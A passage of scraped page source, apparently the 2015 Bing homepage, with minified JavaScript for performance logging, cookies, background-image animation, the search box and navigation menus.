  77. _w.p1="onP1";_w.si_PP=function(n,t,i){var f,s,r,h,c,l,a,u,v,o,e;if(!_G.PPS){for(s=["FC","BC","H","BP",null];f=s.shift();)s.push('"'+f+'":'+(_G[f+"T"]?_G[f+"T"]-_G.ST:-1));if(r=i||_w.performance&&_w.performance.timing,h=null,r&&(c=["unloadEventStart","unloadEventEnd","redirectStart","redirectEnd","fetchStart","domainLookupStart","domainLookupEnd","connectStart","connectEnd","secureConnectionStart","requestStart","responseStart","domLoading","domInteractive","domContentLoadedEventStart","domContentLoadedEventEnd","domComplete","loadEventStart","loadEventEnd","msFirstPaint","responseEnd",""],l=r.navigationStart,l>=0)){for(v=o=a=0;f=c.shift();a++)u=r[f],u>0&&(v|=1<<a,u-=l,c.push(u===o?"":(u-o).toString(16)),o=u);e="navigation",h=',"w3c":"'+v.toString(16)+","+c.join()+'","nav":'+(e in r?r[e]:performance[e].type)}_G.PPImg=new Image,_G.PPImg.src=_G.lsUrl+'&Type=Event.CPT&DATA={"pp":{"S":"'+(t||"L")+'",'+s.join(",")+',"CT":'+(n-_G.ST)+',"IL":'+_d.images.length+"}"+(_G.C1?","+_G.C1:"")+(h!==null?h:"")+"}"+(_G.P?"&P="+_G.P:"")+(_G.DA?"&DA="+_G.DA:"")+(_G.MN?"&MN="+_G.MN:""),_G.PPS=1,sb_st(function(){sj_evt.fire("onPP"),sj_evt.fire(_w.p1)},1)}},_w.onbeforeunload=function(){si_PP(new Date,"A")};(function(n){var i,r,t;if(document.querySelector){i=[],r="ad";function u(){var c=sb_gt(),o=document.documentElement,r=document.body,s=-1,h=-1,e=o.clientHeight,u=["#b_results .b_ad",".sb_adsWv2",".ads"],t,f,n;if(r){for(t=0;t<u.length;t++)if(f=u[t],n=document.querySelector(f),n&&n.offsetTop<e){s=n.offsetHeight,h=n.offsetTop;break}i=[h,s,o.clientWidth,e,r.offsetWidth,r.offsetHeight,sb_gt()-c]}}n?(t=n.onbeforefire,n.onbeforefire=function(){t&&t(),u(),n.mark(r,i)}):(t=si_PP,si_PP=function(){u();var n='"'+r+'":['+i.join()+"]";_G.C1=_G.C1?_G.C1+","+n:n,t.apply(null,[].slice.apply(arguments))})}})(_w.pp);function sj_ev(n){return sb_i8l?event:n}function sj_et(n){return sb_i8l?event.srcElement:n.target}function sj_mi(n){return sb_i8l?event.fromElement:n.relatedTarget}function sj_mo(n){return sb_i8l?event.toElement:n.relatedTarget}function sj_so(n,t){if(sb_i8l&&n.filters&&n.filters.item)try{n.filters.item("DXImageTransform.Microsoft.Alpha").opacity=t}catch(i){n.style.filter="alpha(opacity="+t+")"}n.style.opacity=t/100}function hp_pushparams(n){return _w.location.search.length>1&&n.push&&n.push(_w.location.search.substring(1)),n}function hp_defined(n){return typeof n!="undefined"}function hp_log(){_w.Log&&_w.Log.Log&&_w.location.href.indexOf("https")==-1&&Log.Log.apply(this,arguments)}function hp_llog(n,t){_H.clientLog&&hp_log("Latency","HP",n,!1,"Time",t)}function hp_hasclass(n,t){return n&&n.className&&n.className.indexOf(t)!==-1}function hp_addclass(n,t){if(!hp_hasclass(n,t)){var i=hp_defined(sj_b.classList);i?n.classList.add(t):n.className+=" "+t}}function hp_removeclass(n,t){var f,i,u,r;if(hp_hasclass(n,t))if(f=hp_defined(sj_b.classList),f)n.classList.remove(t);else{for(i=n.className.split(" "),u=-1,r=0;r<i.length;r++)if(i[r]==t){u=r;break}u>=0&&i.splice(u,1),n.className=i.join(" ")}}function hp_trimstr(n){return typeof String.prototype.trim!="function"?n.replace(/^\s+|\s+$/g,""):n.trim()}function hp_getelemsbyclass(n,t,i){var f,e,o,r,u;if(n.getElementsByClassName)return n.getElementsByClassName(i);if(f=[],!n)return f;for(e=n.getElementsByTagName(t),o=e.length,r=0;r<o;r++)u=e[r],u&&u.className.indexOf(i)>=0&&f.push(u);return f}var sb_i9p=sb_ie&&typeof sb_de.style.opacity!="undefined",sb_i8l=sb_ie&&!sb_i9p;function hasQuery(n){return n.value.replace(/\s+/gi,"")!=""}function qs(n){if(_w.encodeURIComponent){var t=n.href.replace(/&amp;/g,"&"),i=encodeURIComponent(_ge("sb_form_q").value);n.href=t.indexOf("q=")!=-1?t.replace(new RegExp("q=[^&$]*"),"q="+i):t.indexOf("where1=")!=-1?t.replace(new RegExp("where1=[^&$]*"),"where1="+i):t+(t.indexOf("?")<0?"?":"&")+"q="+i}return 1}function selectScope(n,t){hasQuery(_ge("sb_form_q"))&&(n.href=_scopeUrls[t],qs(n))}_scopeUrls=[];
  78. //]]></script><title>Bing</title><link href="/s/a/bing_p.ico" rel="icon"/><meta content="Bing is a search engine that brings together the best of search and people in your social networks to help you spend less time searching and more time doing." name="description"/><meta content="NOODP" name="ROBOTS"/><!-- FD: 61D6300EFEB1307A0866FCEEE14D29F8 --></head><body class=" en en-US" onload="hpResize(_ge('bgDiv'));_ge('sb_form_q').focus();if(_w.lb)lb();"><script type="text/javascript">//<![CDATA[
  79. sj_b=_d.body;
  80. //]]></script><script type="text/javascript">//<![CDATA[
  81. _G.AppVer="8_01_1_3669439";var _H = {};;var g_vidOn=0;var g_hasVid=1;var g_hasTb=1;var g_hasAjaxNb=0;var g_HPRMSAOL = 0;var g_IMVL = 0;var g_NPLE = 1 + g_hasAjaxNb;var g_hptse = 1;var g_crsInst = 0;_H.rbc = 0;_H.clientLog = 0;;var wlc_d = 1500,wlc_t = 63558510725;;
  82. //]]></script><table id="hp_table"><tr><td id="hp_cellCenter" class=" hp_hd"><div id="hp_container" class="hp_vid"><div id="bgDiv"></div><div id="sc_hst1" class="sh_hst" style="left:21%;top:39%"><div class="sh_hto"><div class="hp_hot"></div></div></div><a href="/images/search?q=Alpine+marmot&amp;FORM=hphot1" class="sh_hs" id="sc_hs1" target="_self" h="ID=SERP,5036.1"><p></p><span class="sh_hq"></span>&nbsp;<span class="sh_hi">&#187;</span><div class="sh_ho"><div></div></div></a><div id="sc_hst2" class="sh_hst" style="left:34%;top:49%"><div class="sh_hto"><div class="hp_hot"></div></div></div><a href="/search?q=Groundhog+Day&amp;form=hphot2" class="sh_hs" id="sc_hs2" target="_self" h="ID=SERP,5037.1"><p></p><span class="sh_hq"></span>&nbsp;<span class="sh_hi">&#187;</span><div class="sh_ho"><div></div></div></a><div id="sc_hst3" class="sh_hst" style="left:55%;top:38%"><div class="sh_hto"><div class="hp_hot"></div></div></div><a href="/videos/search?q=I+Got+You+Babe&amp;FORM=hphot3" class="sh_hs" id="sc_hs3" target="_self" h="ID=SERP,5038.1"><p></p><span class="sh_hq"></span>&nbsp;<span class="sh_hi">&#187;</span><div class="sh_ho"><div></div></div></a><div id="sbox" class="sw_sform"><div class="hp_sw_logo hpcLogoWhite">Bing</div><div class="search_controls"><a href="javascript:void(0)" id="hpinsthk" h="ID=SERP,5084.1"><span></span></a><form action="/search" id="sb_form" class="sw_box" onsubmit="var id = _ge(&#39;hpinsthk&#39;).getAttribute(&#39;h&#39;); return si_T(id);" ><div class="b_searchboxForm"><input class="b_searchbox" id="sb_form_q" name="q" title="Enter your search term" type="search" value="" maxlength="1000" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false"/><input type="submit" class="b_searchboxSubmit" id="sb_form_go" title="Search" tabIndex="0" name="go"/><input id="sa_qs" name="qs" value="ds" type="hidden"/><input type="hidden" value="QBLH" name="form"/></div></form></div></div><div id="hp_sw_hdr" class="hp_hor_hdr"><div class="sw_tb"><ul id="sc_hdu" class="sc_hl1 hp_head_nav"><li id="scpt0" class=""><a href="/images?FORM=Z9LH" onclick="selectScope(this, 'images');" h="ID=SERP,5013.1">Images</a><div id="scpc0"></div></li><li id="scpt1" class=""><a href="/videos?FORM=Z9LH1" onclick="selectScope(this, 'video');" h="ID=SERP,5014.1">Videos</a><div id="scpc1"></div></li><li id="scpt2" class=""><a href="/maps/?FORM=Z9LH2" onclick="selectScope(this, 'local');" h="ID=SERP,5015.1">Maps</a><div id="scpc2"></div></li><li id="scpt3" class=""><a href="/news?FORM=Z9LH3" onclick="selectScope(this, 'news');" h="ID=SERP,5016.1">News</a><div id="scpc3"></div></li><li id="scpt4" class=""><a href="/explore?FORM=Z9LH4" onclick="selectScope(this, 'seeall');" h="ID=SERP,5017.1">More</a><div id="scpc4"></div></li><li id="scpt5" class=""><a href="/profile/history?FORM=Z9LH5" onclick="selectScope(this, 'history');" h="ID=SERP,5018.1">Search History</a><div id="scpc5"></div></li><div class="sc_pc" id="seeall" style="display:none"><ul id="more_menu" class="sc_hl1"><li><a href="/travel?FORM=HPSFLT" id="more_travel" title="Travel" h="ID=SERP,5027.1"><div><div>Travel</div></div></a></li><li><a href="/translator?FORM=HPSFLT" id="more_translator" title="Translator" h="ID=SERP,5028.1"><div><div>Translator</div></div></a></li><li><a href="/weather/search?q=weather&amp;FORM=HPSFLT" id="more_weather" title="Weather" h="ID=SERP,5029.1"><div><div>Weather</div></div></a></li><li><a href="/explore?FORM=HPSFLT" id="more_explore" title="Explore Bing" h="ID=SERP,5030.1"><div><div>Explore Bing</div></div></a></li><li><a href="/set/homepage?PUBL=BINGCOM" class="hp_text" id="dhplink" onclick="sj_cook &amp;&amp; sj_cook.set('_UR', 'DHP', '1', 1, '/')&amp;&amp; sj_cook.set('_UR', 'DHP', '1', 1, '/')" h="ID=SERP,5001.1">Make Bing my homepage</a></li></ul></div><li id="hdr_spl">&#124;</li><li id="msn"><a href="http://www.msn.com/" target="_blank" h="ID=SERP,5002.1">MSN</a></li><li id="outlook"><a href="https://outlook.com/?WT.mc_id=O16_BingHP?mkt=en-US" target="_blank" h="ID=SERP,5003.1">Outlook.com</a></li><li id="office"><a href="http://office.com/start/default.aspx?WT.mc_id=O16_BingHP" target="_blank" h="ID=SERP,5004.1">Office Online</a><div id="off_menu_cont" class="sc_pc" data-officemenuroot="office"><ul class="om"><li><a href="https://office.live.com/start/Word.aspx?WT.mc_id=O16_BingHP" id="officemenu_word" target="_blank" title="Word Online" h="ID=SERP,5019.1"><div><div class="oml_img" id="officemenu_word_img"></div><div class="itm_desc">Word Online</div></div></a></li><li><a href="https://office.live.com/start/PowerPoint.aspx?WT.mc_id=O16_BingHP" id="officemenu_powerpoint" target="_blank" title="PowerPoint Online" h="ID=SERP,5020.1"><div><div class="oml_img" id="officemenu_powerpoint_img"></div><div class="itm_desc">PowerPoint Online</div></div></a></li><li><a href="https://office.live.com/start/Excel.aspx?WT.mc_id=O16_BingHP" id="officemenu_excel" target="_blank" title="Excel Online" h="ID=SERP,5021.1"><div><div class="oml_img" id="officemenu_excel_img"></div><div class="itm_desc">Excel Online</div></div></a></li><li><a href="https://outlook.com/?WT.mc_id=O16_BingHP" id="officemenu_outlook" target="_blank" title="Outlook.com" h="ID=SERP,5022.1"><div><div class="oml_img" id="officemenu_outlook_img"></div><div class="itm_desc">Outlook.com</div></div></a></li><li><a href="https://calendar.live.com/?WT.mc_id=O16_BingHP" id="officemenu_calendar" target="_blank" title="Calendar" h="ID=SERP,5023.1"><div><div class="oml_img" id="officemenu_calendar_img"></div><div class="itm_desc">Calendar</div></div></a></li><li><a href="https://people.live.com/?WT.mc_id=O16_BingHP" id="officemenu_people" target="_blank" title="People" h="ID=SERP,5024.1"><div><div class="oml_img" id="officemenu_people_img"></div><div class="itm_desc">People</div></div></a></li><li><a href="https://www.onenote.com/notebooks?WT.mc_id=O16_BingHP" id="officemenu_onenote" target="_blank" title="OneNote Online" h="ID=SERP,5025.1"><div><div class="oml_img" id="officemenu_onenote_img"></div><div class="itm_desc">OneNote Online</div></div></a></li><li><a href="https://skydrive.live.com/?gologin=1&amp;WT.mc_id=O16_BingHP" id="officemenu_onedrive" target="_blank" title="OneDrive" h="ID=SERP,5026.1"><div><div class="oml_img" id="officemenu_onedrive_img"></div><div class="itm_desc">OneDrive</div></div></a></li></ul></div></li></ul><div id="hp_id_hdr"><div id="id_h"><a href="/rewards/dashboard" class="id_button" id="id_rh" h="ID=SERP,5059.1"><span id="id_rc">Rewards</span><span class="id_avatar sw_meIc" title="Bing Rewards"></span></a><a href="/rewards/dashboard" class="b_hide" id="id_rwl" h="ID=SERP,5058.1"></a><span id="nc_iid" _iid="SERP.5057"/><a href="javascript:void(0);" class="id_button" id="id_l" h="ID=SERP,5054.1"><span id="id_s">Sign in</span><span id="id_n" style="display:none"></span></a><a href="/account/general?ru=http%3a%2f%2fwww.bing.com%3a80%2f&amp;FORM=SEFD" class="sw_pref" title="Preferences" h="ID=SERP,5055.1"></a><span id="id_d" _iid="SERP.5064"></span></div><div id="sw_tfbb"></div><a href="/set/homepage?PUBL=BINGCOM" class="hp_text" id="dhp" onclick="sj_cook &amp;&amp; sj_cook.set('_UR', 'DHP', '1', 1, '/')&amp;&amp; sj_cook.set('_UR', 'DHP', '1', 1, '/')" h="ID=SERP,5000.1">Make Bing my homepage</a></div></div></div><div id="hp_bottomCell"><div id="hp_ctrls"><div id="sh_rdiv"><a href="?FORM=HYLH#" id="sh_igl" title="Previous" h="ID=SERP,5050.1"><div class="sc_lightdis"><div class="hpcPrevious"></div></div></a><a href="?FORM=HYLH1#" id="sh_igr" title="Next" h="ID=SERP,5049.1"><div class="sc_lightdis"><div class="hpcNext"></div></div></a><a href="/search?q=Alpine+marmot&amp;form=hpcapt&amp;filters=HpDate%3a%2220150202_0800%22" alt="Alpine marmot (© Michael Dietrich/Alamy)" class="sc_light" id="sh_cp" h="ID=SERP,5040.1"><div><div id="sh_cp_in" class="hpcBkP"></div></div></a></div><div id="musCard"><div id="musCardContent"><ul id="hp_share_options"><li><a href="javascript:void(0)" data-baseurl="https://www.facebook.com/sharer/sharer.php?u=" data-shareurl="https://www.bing.com/?FORM=HPSHFB&amp;mkt=en-US" id="ShareFB" title="Facebook" h="ID=SERP,5032.1"><div><div id="hp_fb_share_img" class="hp_share_option rms_img rms_rmsanswersHomepagehp_fb_share_img rms_rmsanswersHomepageHomepageShareSprite"></div></div></a></li><li><a href="javascript:void(0)" data-baseurl="https://twitter.com/intent/tweet?text=Check out today's homepage on Bing&amp;url=" data-shareurl="https://www.bing.com/?FORM=HPSHTW&amp;mkt=en-US" id="ShareTwitter" title="Twitter" h="ID=SERP,5033.1"><div><div id="hp_twitter_share_img" class="hp_share_option rms_img rms_rmsanswersHomepagehp_twitter_share_img rms_rmsanswersHomepageHomepageShareSprite"></div></div></a></li></ul><ul id="musCardActionLinks"><li><div><div><a href="javascript:void(0)" data-dismsg="This image is not available to download as wallpaper." data-msg="Download today’s image" id="DownloadHPImage" title="Download today’s image" h="ID=SERP,5085.1"><div>Download today’s image</div></a></div><div id="hpw-desc"><div class="action-link-desc">(Restricted to wallpaper use only)</div></div></div></li></ul><div id="musCardDesc"><a href="javascript:void(0)" id="musCardImageLink" h="ID=SERP,5086.1"><p id="musCardImageTitle"></p></a><p id="musCardCopyright"></p></div></div></div></div><div><div id="hp_notf"></div><div id="hp_tbar"></div></div><div id="sb_foot"><ul id="sw_footL"><li><span>&#169; 2015 Microsoft</span> | </li><li><a href="http://go.microsoft.com/fwlink/?LinkId=248686&amp;CLCID=0409" h="ID=SERP,5067.1">Privacy and Cookies</a> | </li><li><a href="http://go.microsoft.com/fwlink/?LinkID=246338&amp;CLCID=0409" h="ID=SERP,5068.1">Legal</a> | </li><li><a href="http://go.microsoft.com/?linkid=9844325" h="ID=SERP,5069.1">Advertise</a> | </li><li><a href="http://go.microsoft.com/fwlink/?LinkID=286759&amp;CLCID=409" target="_blank" h="ID=SERP,5070.1">About our ads</a> | </li><li><a href="http://onlinehelp.microsoft.com/en-US/bing/ff808535.aspx" id="sb_help" target="_blank" h="ID=SERP,5071.1">Help</a> | </li><li><a href="#" id="sb_feedback" h="ID=SERP,5072.1">Feedback</a></li></ul></div></div></div></td></tr></table><PrefetchResources/><script type="text/javascript">//<![CDATA[
  83. sf_fbCfg={sId:"6",wt:100};sj_evt.bind("xd:fba:checkbar",function(n){var t,i;n&&n.length>=2&&(t=sj_ce("iframe"),t.id="sw_tfbbi",i=_ge("sw_tfbb"),i&&(t.height="0",t.scrolling=t.frameBorder="no",t.src="/fd/fb/b?fv="+_G.Ver+"#"+n[1],i.appendChild(t)))});sj_evt.bind("onP1",function(){var n=sj_ce("iframe");n.height=n.width=0,n.frameBorder=n.scrolling="no",sj_b.appendChild(n),n.src="/fd/fb/r?v="+_G.Ver+"&sId="+sf_fbCfg.sId+(/&testhooks=1/.test(location.search)?"&testhooks=1":""),_w.logfb&&logfb("rr",+new Date)},1,_w.sf_fbCfg&&sf_fbCfg.wt?sf_fbCfg.wt:100);sj_cook=new function(){var n=this;n.get=function(n,t){var i=_d.cookie.match(new RegExp("\\b"+n+"=[^;]+")),r;return t&&i?(r=i[0].match(new RegExp("\\b"+t+"=([^&]*)")),r?r[1]:null):i?i[0]:null},n.set=function(t,i,r,u,f,e){var o,s=i+"="+r,h=n.get(t),c,l,a;h?(c=n.get(t,i),o=c?h.replace(i+"="+c,s):h+"&"+s):o=t+"="+s,l=location.hostname.match(/([^.]+\.[^.]*)$/),a=e&&e>0?e*6e4:63072e6,_d.cookie=o+(l?";domain="+l[0]:"")+(u?";expires="+new Date(+new Date+Math.min(a,63072e6)).toGMTString():"")+(f?";path="+f:"")}};function sj_ic(n){var t=sj_ce("style");_d.getElementsByTagName("head")[0].appendChild(t),t.textContent!==undefined?t.textContent=n:t.styleSheet.cssText=n};_w.RmsLoaderConfig={name:"rmsloaderdelayed"};(function(){_w.rms=_w.rms||function(){var n=[],t=[],i=function(){return n.push(arguments),_w.rms},r=function(){return t.push(arguments),_w.rms},u=function(){var n=sj_ce("script");n.src="/fd/sa/"+_G.Ver+"/"+_w.RmsLoaderConfig.name+".js",sj_b.appendChild(n)};return{onload:i,js:r,start:u,onloadargs:n,jsargs:t}}()})();sj_evt.bind("onP1",function(){_w.rms.start()},1,50);sj_evt.fire("onHTML");function cpHandler(){_d.cookie="CPR=0;path=/",_d.cookie="IPH="+_G.IP+";path=/";var n=_d.createElement("iframe");n.src="/fd/sa/cp.html",n.style.display="none",_d.body.appendChild(n)}sj_evt.bind("onP1",cpHandler,1,1500);
  84. //]]></script><script type="text/javascript">//<![CDATA[
  85. (function(n,t){onload=function(){_G.BPT=new Date,n&&n(),!_w.sb_ppCPL&&t&&sb_st(function(){t(new Date)},0)}})(_w.onload,_w.si_PP);var _anim=function(n,t,i,r,u,f,e,o){var p="ease-in",v="ease-in-out",y="ease",s=function(n){return typeof n!="undefined"},h=function(){var i=function(n,t,i,r,u){var f=t/i;return r+u*f*f*f},t=function(n,t,i,r,u){var f=t/i-1;return r+u*(f*f*f+1)},n=function(n,t,i,r,u){var f=t/(i/2);return f<1?r+u/2*f*f*f:(f-=2,r+u/2*(f*f*f+2))};return{In:{css3TransitionName:p,fallbackScript:i},Out:{css3TransitionName:v,fallbackScript:n},InOut:{css3TransitionName:y,fallbackScript:t}}}(),l=function(u,f,o,l,a){var pt=a.unit||"",nt=a.duration||500,v=nt,ti="string",ot="transition",tt="Transition",ft="End",ni="end",b=a.easing||h.InOut,y=ot,k,yt,et=typeof f===ti&&f,wt=typeof f=="function"&&f,p=u.style,rt,ut,it,w,g,kt=typeof sj_b.style.MozTransition!="undefined",bt,d=et&&et.replace(/-(\w)/g,function(n,t){return t.toUpperCase()}),st=function(){ct(),kt?sb_ct(bt):at(1),rt&&rt()},at=function(i){if(kt)i||(bt=sb_st(st,v));else{var r=i?t:n;r(u,yt,st)}},lt=function(n){ut=n,d?p[d]=n+pt:wt&&wt(u,n)},vt=function(){var n;if(!d||!b.css3TransitionName)return!1;var u=i||r,e=u.style,o="ms "+b.css3TransitionName+" 0s",t=["","ms","Webkit","O"],f=[ot+ni,"MS"+tt+ft,"webkit"+tt+ft,"o"+tt+ft];for(n=0;n<t.length;n++)if(y=t[n],y+=t[n]!=""?tt:ot,s(e[y]))return k=et+" "+v+o,yt=f[n],!0;return!1},ct=function(){for(var i=p[y],t=i.split(","),n=0;n<t.length;n++)k.indexOf(t[n])>=0&&(t.splice(n,1),n--);p[y]=t.join(",")},ii=function(){p[y]?p[y]+=", "+k:p[y]=k},ht=function(n,t){rt=n,ii(),at(),c(function(){p[d]=t+pt},1)},gt=function(){function h(u,s){(n||(f=0),f!==s)&&(n&&ut?(v=e()-t,w=ut,g=s===r?l:o):(v=nt,s===r?(w=o,g=l):(w=l,g=o)),it=g-w,f=s,i=u,t=e(),c(a,5),n=!0)}function a(){var r=e()-t;r>=v?(lt(b.fallbackScript(u,v,v,w,it)),n=!1,i&&i()):(lt(b.fallbackScript(u,r,v,w,it)),c(a,5))}var r=1,y=2,f=0,n=!1,t,i;return{start:function(n){h(n,r)},revert:function(n){h(n,y)},updateDur:function(n){s(n)&&(v=nt=n)}}},dt={start:function(n){ht(n,l)},revert:function(n){ht(n,o)},updateDur:function(n){ct(),s(n)&&(v=nt=n),vt()}};return vt()?dt:gt()},c=function(){return _w.requestAnimationFrame||_w.webkitRequestAnimationFrame||_w.mozRequestAnimationFrame||_w.oRequestAnimationFrame||_w.msRequestAnimationFrame||function(n){f(n,16.7)}}(),a=function(n,t,i,f,e){function a(t){n&&n.style&&(n.style.visibility=t?"hidden":"visible")}var p=o&&!s(r.style.opacity)?function(n,t){u(n,t*100)}:"opacity",v=s(f)&&f||0,y=s(e)&&e||1,w=s(i)&&i||s(t)&&t,c=l(n,p,v,y,{duration:t,ease:h.In});return{up:function(n){v===0&&a(!1),c.updateDur(t),c.start(function(){y===0&&a(!0),n&&n()})},down:function(n){y===0&&a(!1),c.updateDur(w),c.revert(function(){v===0&&a(!0),n&&n()})},updateDur:c.updateDur}};return{animE:l,fadeE:a,ease:h}}(sj_be,sj_ue,sj_b,sb_de,sj_so,sb_st,sb_gt,sb_ie);(function(n,t,i){function f(){!u.end&&o===a&&o>0&&i(k,0)}function s(n){if(n&&n.length)return r[n]||(r[n]={start:0,end:0,actual:0,done:0},o++),r[n]}function p(){var t=[],n;for(n in r)r.hasOwnProperty(n)&&(t.push(n),u.actual+=r[n].actual);return t.sort(function(n,t){return r[t].actual-r[n].actual}),t}function b(){var f=[],e=0,u=p(),t,n,i;if(u.length>0)do if(t=u.shift(),n=r[t],!(n.start<_G.ST)){if(i='"'+t+'":{"S":'+(n.start-_G.ST)+',"E":'+(n.end-_G.ST)+',"T":'+n.actual+"}",e+=i.length+1,e>=w)break;f.push(i)}while(u.length>0);return f.join(",")}function d(){function i(n){return n=n.toString().replace(/\"/g,"'"),'"'+n+'"'}var r=[],t,n;for(t in e)e.hasOwnProperty(t)&&(n=e[t],typeof n!="number"&&(n=i(n)),r.push(i(t)+":"+n));return r.join(",")}function k(){u.end||(u.end=new Date,(new Image).src=_G.lsUrl+'&Type=Event.PPT&DATA={"S":'+(u.start-_G.ST)+',"E":'+(u.end-_G.ST)+',"T":'+u.actual+',"I":'+u.numInvalid+',"N":{'+b()+'},"M":{'+d()+"}}"+(_G.P?"&P="+_G.P:"")+(_G.DA?"&DA="+_G.DA:""))}function v(n){var t=r[n];t&&!t.done&&(t.done=1,a++,f())}function c(n){var u=n.task;if(u){var r=u,t=n.ns,f=n.delay||0;if(t&&t.length>0){l(t);function e(){var i=new Date,n;u(),n=new Date,h(t,i,n)}r=e}f>0?i(r,f):r()}}function h(n,t,i){var r,e;(f(),r=s(n),r)&&(e=i-t,(e<0||i<r.end||r.start&&t<r.start)&&++u.numInvalid,r.actual+=e,r.start||(r.start=t),r.end=i)}function l(n){f(),s(n)}function y(n,t){f(),e[n]=t}var u={start:new Date,end:0,actual:0,numInvalid:0},r={},o=0,a=0,e=t._cm||{},w=600;n("onP1",function(){var i,r,n;for(t.register=l,t.schedule=c,t.complete=v,t.recordTimings=h,t.reportCustomMetric=y,r=t._ns||[];i=r.shift();)s(i);for(n=t._reg||[];n.length>0;)c(n.shift());f()},1)})(sj_evt.bind,sched,sb_st);(function(){var n=_ge("sb_form_q"),t=function(t){var i=t.keyCode,r,u;!t.altKey&&t.ctrlKey&&i>64&&i<91||(i===32||i>47&&i<91||i>95&&i<106||i>185&&i<223)&&n&&("createTextRange"in n?_d.activeElement!==n&&(r=n.createTextRange(),r.collapse(!1),r.select(),n.focus()):"getSelection"in _w&&(r=_w.getSelection(),r.rangeCount===0&&(u=_d.createRange(),u.selectNode(n),r.addRange(u),r.collapse(n,0)),n.focus()))};sj_be(_d,"keydown",t)})();function sc_bgL(){function s(){function w(){e(c,w),y||(sb_ct(v),e(r,p),i(l,s))}function s(){i(r,p,1),e(l,s),i(c,w)}function p(i){function r(){t.style.backgroundImage="url('"+f.src+"')",sb_i8l&&(t.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+f.src+"', sizingMethod='scale') progid:DXImageTransform.Microsoft.Alpha(opacity=0);"),t.className+=" sw_imLd",u("onBgSet")}y=1,f.onerror=f.onload=null,i[2]>n.d?(sj_so(t,0),r(),v=sb_st(sj_wf(_anim.fadeE(t).up,sc_fadeCb),h)):(r(),sj_so(t,100),sc_fadeCb()),sj_cook.set(n.cN,n.crN,n.hash,0,"/")}var f=new Image,y=0,o=0,v,a;i("onSearch",function(){n.x=!0,f=null,sb_ct(v)}),s(),f.onload=function(){o=sb_gt()-a,_w.hp_llog&&hp_llog("Image",o),u(r,f,o)},f.onerror=function(){hp_log("Error","HPImage","LoadFailed",!1)},typeof g_rbBypass!="undefined"&&g_rbBypass&&(f.onerror=function(){u(r,f,o)}),a=sb_gt(),_H.startTm&&_w.hp_llog&&hp_llog("ImageStart",a-_H.startTm),f.src=n.url}var n=g_img,t=_ge(n.id),f=sj_evt,i=f.bind,e=f.unbind,u=f.fire,r="onBgLoad",c="onSbBusy",l="onSbIdle",h=typeof n.del!="undefined"?n.del:500,o=_w.sched;_w.g_hptse&&o?o.schedule({ns:"H",task:s}):i("onP1",s,1,h)}function hpResize(n,t,i,r){function h(){var c,h;if(n&&s){(_w.g_img&&_w.g_img.hdon===1&&_w.g_img.hdsup===1||s.clientWidth>f||s.clientHeight>o)&&(f=1920,o=1080);var r=s.getBoundingClientRect(),i=Math.min(Math.round(r.right-r.left),f),t=Math.min(Math.round(r.bottom-r.top),o);i/f>t/o?(c=Math.ceil(o*i/f),u.width=i+e,u.height=c+e,u.top=(t-c)/2+e,u.left=0):(h=Math.ceil(f*t/o),u.height=t+e,u.width=h+e,u.top=0,u.left=(i-h)/2+e)}}var c="resize",l="unload",e="px",f=i||1366,o=r||768,u=n&&n.style,s=t||_ge("hp_container");s&&u&&(h(),sj_be(_w,c,h),sj_be(_w,l,function(){sj_ue(_w,c,h)}))}function checkResponsiveImage(){var n=_ge("bgDiv"),r="data-minhdhor",u="data-minhdver",t=parseInt(n.getAttribute(r))||1443,i=parseInt(n.getAttribute(u))||806;_w.g_img&&(_w.screen.height>=i||_w.screen.width>=t)&&(_w.g_img.hdsup=1,_w.g_img.hdurl&&_w.g_img.hdhash&&(_w.g_img.url=_w.g_img.hdurl,_w.g_img.hash=_w.g_img.hdhash))}sc_fadeCb=function(){},function(n){function t(){_w.g_img&&g_img.cN&&(typeof g_rbBypass=="undefined"||!g_rbBypass)||sj_evt.fire("onBgSet")}_w.g_hptse&&n?n.schedule({ns:"H",task:t}):sj_evt.bind("onP1",t,1)}(_w.sched);(function(){sb_ie&&sj_evt.bind("onP1",function(){sj_jb("UpdateDefaults",0)},1,50)})();(function() {var events = 0;sj_evt.bind("onBgSet", WaitEvent, 1, 0);sj_evt.bind("OnBnpLoaded", WaitEvent, 1, 0);function WaitEvent(){if (++events == 2) SendRequest()}function SendRequest(){if (typeof Bnp === 'undefined') return;if (Bnp.Global){Bnp.Global.RawRequestURL = "/";Bnp.Global.Referer = "";}var request = new Bnp.Partner.Request("HomePage");request.IID = "SERP.2000";request.Submit();}})();;(function(){function n(){var n="SRCHHPGUSR",r=sj_cook.get(n,"CW"),t,i;r&&r==sj_b.clientWidth||sj_cook.set(n,"CW",sb_de.clientWidth||sj_b.clientWidth,1,"/"),t=sj_cook.get(n,"CH"),t&&t==sb_de.clientHeight||sj_cook.set(n,"CH",sb_de.clientHeight,1,"/"),i=sj_cook.get(n,"DPR"),typeof _w.devicePixelRatio=="undefined"||i&&i==_w.devicePixelRatio||sj_cook.set(n,"DPR",_w.devicePixelRatio,1,"/")}sj_be(_w,"load",n),sj_be(_w,"resize",n)})();g_img={url:'/az/hprichbg/rb/GHDVideo_EN-US11554498564_1920x1080.jpg',id:'bgDiv',d:'200',cN:'_SS',crN:'bIm',hash:'565',del:'50'};g_img.hdon = 1;g_img.hdsup = 0;checkResponsiveImage && checkResponsiveImage();sc_bgL();;var g_hot={1:{0:"In case the groundhog calls in sick today…",1:"We have a backup prognosticator"},2:{0:"Technology has made weather forecasting better and more accurate than ever.",1:"Yet tradition endures"},3:{0:"If you like terrorizing roommates, siblings, or significant others…",1:"Wake them up today with this"}};;function fadeComplete(){var i,u,t,r,n;_G.KPT=new Date,i=_w.g_HPRMSAOL,!_H.hotDis&&_ge("sc_hs1")&&(i||(g_NPLE++,sj_jb("homepageHotspotsLarge_c"))),u=_ge("sw_filt"),u||(t=_ge("sb_sl"),r=_ge("sb_form"),t&&r&&(t.style.width=r.offsetWidth+"px",t.style.display="block")),n="",_ge("hp_pgbar")?n="HpProgrambar":g_hasTb&&(n="HpModules"),n&&(g_NPLE++,i||(_G&&_G.RTL===!0&&(n+="_rtl"),sj_jb(n))),g_NPLE||sj_evt.fire("onRBComplete")}sc_fadeCb=fadeComplete,function(){var 